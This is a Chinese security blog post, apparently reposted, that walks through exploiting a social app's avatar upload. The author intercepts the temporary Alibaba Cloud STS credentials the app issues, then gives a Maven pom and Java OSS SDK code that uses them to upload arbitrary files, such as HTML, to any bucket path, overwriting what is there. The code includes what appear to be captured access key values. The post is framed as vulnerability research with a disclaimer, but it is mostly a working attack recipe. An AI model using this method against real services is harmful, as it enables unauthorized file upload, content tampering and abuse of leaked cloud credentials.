实战某社交APP | 利用SDK构造OSS文件上传漏洞

admin 2025年6月7日09:12:42评论7 views字数 2870阅读9分34秒阅读模式

市面上的社交APP非常多,有某个社交APP,存在文件上传头像的功能。

    APP此时想要上传,肯定会打开相册,但是相册里的都是图片,我们想自定义后缀是没办法的。

    此时可以直接采用burp抓包,但是在这里恰好由于未知的原因,我们抓不到Put上传的(暂未得知为什么),所以我直接使用 HTTP debuger pro来全局抓HTTP流量(强烈推荐)

    通过HTTP Debuger pro抓到的数据包后再复制粘贴进Burp分析

之后抓到如下两个数据包

1、生成临时的STS key

实战某社交APP | 利用SDK构造OSS文件上传漏洞

2、利用STS  key进行文件上传,

实战某社交APP | 利用SDK构造OSS文件上传漏洞
3、发现的内容content内容(body值)可以自定义,其他的地方修改的话都会提示sign错误,例如路径,后缀
实战某社交APP | 利用SDK构造OSS文件上传漏洞
4、找了许久,发现这里是直接通过调用阿里云的SDK构造的PUT文件上传,这是参考资料:

https://help.aliyun.com/document_detail/100624.html?spm=a2c4g.11186623.2.10.5e474529lXELjN#section-7tz-fgu-oji

1)引入阿里云pom依赖包

<projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>com.wzjwhut</groupId><artifactId>alioss_example</artifactId><version>1.0</version><packaging>jar</packaging><name>alioss_example</name><properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency>    <groupId>com.aliyun.oss</groupId>    <artifactId>aliyun-sdk-oss</artifactId>    <version>2.8.3</version></dependency><!--阿里云OSS依赖--><dependency><groupId>com.aliyun.oss</groupId><artifactId>aliyun-sdk-oss</artifactId><version>3.10.2</version></dependency><dependency><groupId>com.aliyun</groupId><artifactId>aliyun-java-sdk-sts</artifactId><version>3.0.0</version></dependency><dependency><groupId>com.aliyun</groupId><artifactId>aliyun-java-sdk-core</artifactId><version>4.4.6</version></dependency></dependencies></project>

2)修改代码,引入STS.AK  SK  STS.TOKEN以及endpoint值,oss-name

import com.aliyun.oss.OSS;import com.aliyun.oss.OSSClientBuilder;import com.aliyun.oss.model.PutObjectRequest;import java.io.File;public class Upload {    public static void main(String[] args) {// Endpoint以杭州为例,其它Region请按实际情况填写。        String endpoint = "oss-cn-china.aliyuncs.com";// 填写步骤五获取的临时访问密钥(AccessKey ID和AccessKey Secret)。        String accessKeyId = "STS.NUU412E9TPCDUsDHuC6xZFA1x";        String accessKeySecret = "7ihnNXQUbxPhhiUR82JJkJNsUSLP2RSE4VYj59vFXxUx";// 填写步骤五获取的安全令牌SecurityToken。        String securityToken = "CAISpwJ1q6";// 创建OSSClient实例。        OSS ossClient = new OSSClientBuilder().build(endpoint, accessKeyId, accessKeySecret, securityToken);// 将本地文件exampletest.txt上传至目标存储空间examplebucket下的目录exampledir。        PutObjectRequest putObjectRequest = new PutObjectRequest("justxxxxxx-ossname""user/cover/1234567897897777777777777777.html"new File("C:\Users\Administrator\Pictures\123.html"));// 如果需要上传时设置存储类型与访问权限,请参考以下示例代码。// ObjectMetadata metadata = new ObjectMetadata();// metadata.setHeader(OSSHeaders.OSS_STORAGE_CLASS, StorageClass.Standard.toString());// metadata.setObjectAcl(CannedAccessControlList.Private);// putObjectRequest.setMetadata(metadata);// 上传文件。        ossClient.putObject(putObjectRequest);// 关闭OSSClient。        ossClient.shutdown();    }}                    

直接运行java代码即可,可构造任意文件上传以及任意的路径文件覆盖

实战某社交APP | 利用SDK构造OSS文件上传漏洞

该漏洞为高危漏洞

原文始发于微信公众号(Ice ThirdSpace):实战某社交APP | 利用SDK构造OSS文件上传漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日09:12:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战某社交APP | 利用SDK构造OSS文件上传漏洞https://cn-sec.com/archives/3858869.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息